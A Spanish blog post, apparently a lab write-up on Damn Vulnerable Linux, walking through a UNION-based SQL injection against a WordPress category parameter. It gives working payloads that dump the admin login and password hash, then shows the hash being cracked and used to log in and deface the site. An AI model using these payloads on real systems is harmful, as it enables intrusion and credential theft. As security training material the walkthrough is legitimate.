- Máquina virtual
- 512Mb RAM disponibles
- Damn Vulnerable Linux 1.5, Infección contagiosa (Vaya tela de título)
Conocimientos previos:
- PHP & SQL
- Injecciones y funcionamiento de tal
Buscando entre dicho blog, confirmé que había una vulnerabilidad SQLi en las categorías.
Esta, como en la mayoría de los casos, es explotable vía Get, cosa que en algunos caso no es así.
Esta, como en la mayoría de los casos, es explotable vía Get, cosa que en algunos caso no es así.
Lo que hice, fué asignar un número falso, para rechazar la consulta inicial, y poder ejecutar las consultas SQL.
A continuación procedí a identificar el número de columas de dicha tabla, para buscar la columna vulnerable en la que me basé.
?cat = 999999Me respondía "Not Fond". Esto no significa que deje de ser vulnerable.
A continuación procedí a identificar el número de columas de dicha tabla, para buscar la columna vulnerable en la que me basé.
?cat = 999999 UNION SELECT 1,2
?cat = 999999 UNION SELECT 1,2,3
?cat = 999999 UNION SELECT 1,2,3,4
?cat = 999999 UNION SELECT 1,2,3,4,5Al llegar a la quinta columna, supe que la segunda era vulnerable. ¿Cómo? Traduciendo del inglés, sabemos cuando NO hemos llegado.
The used SELECT statements have a different number of columnsEn pantalla se podía apreciar el siguiente texto:
Archive for the '2' categorySustituimos el número 2 por el número 99 y vemos:
Archive for the '99' categoryNo hay duda.
Para ver el usuario y host de la base de datos, simplemente hice la petición USER().
Esto me devolvió:
root@localhostLa injección quedaba así:
?cat = 999999 UNION SELECT 1,USER(),3,4,5XD! Tener una base de datos como ROOT es estar loco. Teniendo en cuenta la seguridad que ahí se manifestaba me dije: Ni me hará falta buscar la base de datos y columnas, ya que estoy seguro que tendrá los mismo datos.
Para buscar el nombre de la base de datos, simplemente induje un error.
?cat = 999999 UNION SELECT 1,jejeje,2,3,4 from Hola
Table wordpress.Hola doesn't exist.Cada vez estaba más seguro. Procedí así con la injección.
Por si alguien desconoce estos datos, procedí con la base de datos wordpress, los cuales por defecto son:
Tabla: wp_usersContinué con la injección:
Columnas: user_login, user_pass
?cat = 999999 UNION SELECT 1,COUNT(*),3,4,5 from wp_usersAclaración: COUNT(*) se utiliza para enumerar las columnas.
Archive for the '1' categorySólo tenía un registro. Procedí con la injección final:
?cat = 999999 UNION SELECT 1,user_login,3,4,5 from wp_users
?cat = 999999 UNION SELECT 1,user_pass,3,4,5 from wp_usersPrimer resultado:
Archive for the 'Admin' categorySegundo resultado:
Archive for the '7b24afc8bc80e548d66c4e7ff72171c5' categoryClick derecho, Buscar en Google, y concluí que la clave era toor.
Dejando huella
Accedí a la página principal del blog, y más abajo vi el login de usuarios.
Me logeé con el usuario y clave del administrador, y procedí a crear un "Yo Estube Aquí", que, al ser un entorno controlado y totalmente simulado, realicé.
Me logeé con el usuario y clave del administrador, y procedí a crear un "Yo Estube Aquí", que, al ser un entorno controlado y totalmente simulado, realicé.
Fín del juego.
No hay comentarios:
Publicar un comentario